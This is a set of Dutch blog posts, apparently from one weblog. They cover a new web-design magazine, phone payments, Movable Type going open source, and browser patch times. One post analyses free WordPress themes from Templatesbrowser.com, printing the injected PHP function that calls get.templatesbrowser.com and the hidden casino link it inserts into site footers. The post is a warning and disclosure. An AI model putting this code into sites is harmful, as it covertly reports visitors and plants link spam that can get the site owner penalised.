• Het blad zal tien keer per jaar gaan verschijnen, alle maanden behalve juli en januari.
• De eerste uitgave kost € 5,95 en daarna € 8,95.
• Wie zich wil abonneren, krijgt de eerste drie nummers voor 15 euro en na verlenging tien nummers voor 70 euro.
• Binnenkort komt er een webpagina met meer informatie.

Uitgever F&L Publications is bekend van bladen als C’T Magazine, Chip, Computer Easy, Chip Foto Video en enkele algemene bladen. En pas nu ontdek ik dat F&L net vorige maand ook al het tijdschrift Advanced Photoshop heeft gelanceerd, blijkbaar ook een blad dat zich (gedeeltelijk) richt op webdesigners. Ik had er nog niet van gehoord. Wat me gelijk tot de vraag brengt: twee bladen voor webdesigners – is dat niet vissen in dezelfde vijver, die toch al zo klein is gebleken?

Een enorme beveiligingsinbreuk, maar het door Onno vertaalde bericht werd totaal niet opgepikt door de blogosfeer, ook niet na berichtjes op Digg en eKudos. Nu toch wel: in juni kwamen Joomla-gebruikers erachter dat Templatesbrowser.com niet te vertrouwen is en via deze omweg begint nu ook eindelijk de WordPress-wereld wakker te worden, lees bijvoorbeeld dit en dit. Ook een nieuw berichtje op Digg krijgt volle aandacht: WARNING! WordPress & Joomla; your theme might have malicious code. Is het het woordje WARNING waardoor internetters er nu wel aandacht aan besteden?

Uiteindelijk hebben we gekozen voor betalen via de telefonische betaaldienst Mollie, die bijvoorbeeld ook gebruikt wordt door Nieuwsbank.nl. De betaling is in hooguit twee minuten geregeld: je belt een 0900-nummer, je toetst een zescijferige code in en je krijgt meteen toegang tot de route, die je vervolgens kunt uitprinten. De kosten worden automatisch verrekend via je telefoonrekening. Je hebt geen creditcard of abonnement nodig en de transactie verloopt geheel anoniem.

Een ideale betaalmethode? De praktijk zal het leren.

• een totaal vernieuwde gebruikersinterface,
• een nieuwe WYSIWIG-editor,
• nieuwe import/export- en backup/restore-functies,
• een blogdashboard met statistieken,
• OpenID-ondersteuning,
• installatiewizard,
• ondersteuning voor losse pagina’s,
• ingebouwd asset-management voor het beheer van opgeladen bestanden en foto’s

En nog belangrijker nieuws: Movable Type wordt open-source. Dat kan ik alleen maar toejuichen, want eerder schreef ik nog over het vage Mambo-achtige tweesporenbeleid van Six Apart: een beetje commercieel, een beetje open-source. Het lijkt erop dat Six Apart voor het overweldigende succes van WordPress door de knieën gaat en niet alleen WordPress-achtige features introduceert, maar ook definitief kiest voor een open-source aanpak.

Enkele weken geleden schreef ik nog over een weeffout in WordPress, namelijk gratis themes waarin stukjes (mogelijk onveilige) PHP-scripting voorkomen. Als de nieuwe MT-versie inderdaad zo’n grote stap voorwaarts is, dan is de keuze voor mij duidelijk: dan blijf ik voor mijn belangrijkste sites voorlopig Movable Type gebruiken.

Hoe werkt Templatesbrowser.com?
Op deze site kun je meer dan honderd gratis WordPress-themes downloaden. Deze themes zijn weer afkomstig van andere sites, maar uit de tien willekeurige themes die ik heb gedownload blijkt dat er is een sneaky stukje PHP-code toegevoegd aan het bestand functions.php:

function credits()
{
$url = “http://get.templatesbrowser.com/wp.php?” .
“url=” . urlencode($_SERVER['REQUEST_URI']) . “&” . “host=” . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen(“get.templatesbrowser.com”, 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}

Voor wie geen PHP kent: deze functie legt contact met get.templatesbrowser.com en geeft daarbij het adres van je eigen site mee. Bijvoorbeeld:

http://get.templatesbrowser.com/wp.php?url=%2F&host=www.laterna.nl

In mijn geval geeft de server de volgende code terug:

<div id=”copyl” style=”display: none;”><a href=”http://www.casinotropez.com/trcpromo-nincs-online-pmail18-fr”>casino en ligne</a></div>

Dit is de HTML-code van een link naar een site die ik niet ken en waar ik ook niets mee te maken wil hebben. Dankzij de CSS-toevoeging ‘display: none’ is die onzichtbaar opgemaakt. Deze code wordt onderaan elke WordPress-pagina toegevoegd. Dat gebeurt in het bestand footer.php:

<?php credits(); wp_footer(); ?>

Het geniepige is dat het contact met templatesbrowser.com alleen lijkt te werken vanuit een WordPress-weblog. Als ik bovenstaand webadres zelf invul in mijn browser, dan wordt er geen HTML-code teruggegeven.

Ook merk ik dat het uitmaakt op welk adres je weblog staat. Als ik urlencode($_SERVER['HTTP_HOST']) simpelweg vervang door www.google.com of www.startpagina.nl, dan wordt er geen verborgen link teruggegeven, maar helemaal niets, of iets onschuldigs als

<!– T-B –>

Ook zit er een random element in: als je op F5 drukt, verandert soms de code.

Een hogere PageRank?
Templatesbrowser.com doet dit klaarblijkelijk om sommige sites een hogere PageRank te bezorgen. Toch lijkt het me niet waarschijnlijk dat Google erin trapt. De manier waarop de link onzichtbaar is gemaakt (style=”display: none;”) is simpelweg té doorzichtig. Maar als Google inderdaad doorheeft dat het hier linkspam betreft, dan loopt de eigenaar van de weblog het risico om hiervoor gestraft te worden. Door de aard van PHP (een server-side scriptingtaal waarvan Google alleen de uitvoer ziet, niet de bron) is niet zichtbaar dat de betreffende HTML door een heel andere site wordt gegenereerd.

Het risico?
Uit het bovenstaande blijkt dat het downloaden van een WordPress-theme een zeker beveiligingsrisico inhoudt. Zoals gezegd bestaat zo’n theme niet alleen uit CSS-opmaak, maar ook uit extra PHP-code. Welke WordPress-gebruiker neemt de moeite om die meegeleverde PHP-code regel voor regel uit te vlooien alvorens een theme te installeren? PHP kan bovendien veel ernstiger dingen doen dan alleen maar een verborgen link in je site stoppen.

Al met al vind ik dit toch wel een belangrijk minpunt van WordPress. Voor zover ik kan nagaan, is het in Movable Type niet mogelijk om malicieuze code te stoppen in een template. Al met al lijkt de architectuur van WordPress meer op flexibiliteit gericht, minder op beveiliging.

Hoewel de Firefox-hype afgelopen jaar wat minder is geworden en ook deze browser is in het nieuws gekomen door veiligheidsproblemen, blijkt Firefox nog steeds veiliger dan Internet Explorer. In beide browsers komen weliswaar ongeveer evenveel lekken voor, maar bij Firefox worden ze veel sneller gerepareerd:

De ontwikkelaars van Mozilla hadden – gemeten over 26 lekken – gemiddeld twee dagen nodig om een fout op te lossen. Bij Microsoft duurde het gemiddeld tien dagen, gemeten over vijftien lekken.

Aldus de wekelijkse nieuwsbrief van Computer!Totaal.

When people find that they’re not working to their full potential; when they know that they could be producing more but in fact they’re producing less; when they know they’re smarter than their output shows; when they start answering questions in ways that are more superficial, more hurried than they usually would; when their reservoir of new ideas starts to run dry; when they find themselves working ever-longer hours and sleeping less, exercising less, spending free time with friends less and in general putting in more hours but getting less production overall.

En verderop:

It’s the great seduction of the information age. You can create the illusion of doing work and of being productive and creative when you’re not. You’re just treading water.

Meer bij News.com. En lees ook dit interview op Computerworld, waar hij enkele simpele remedies voorstelt. Zoals 25 jumping jacks, oftewel in de lucht springen met gespreide benen. Ha, dat wordt nog gezellig in de personeelskantine.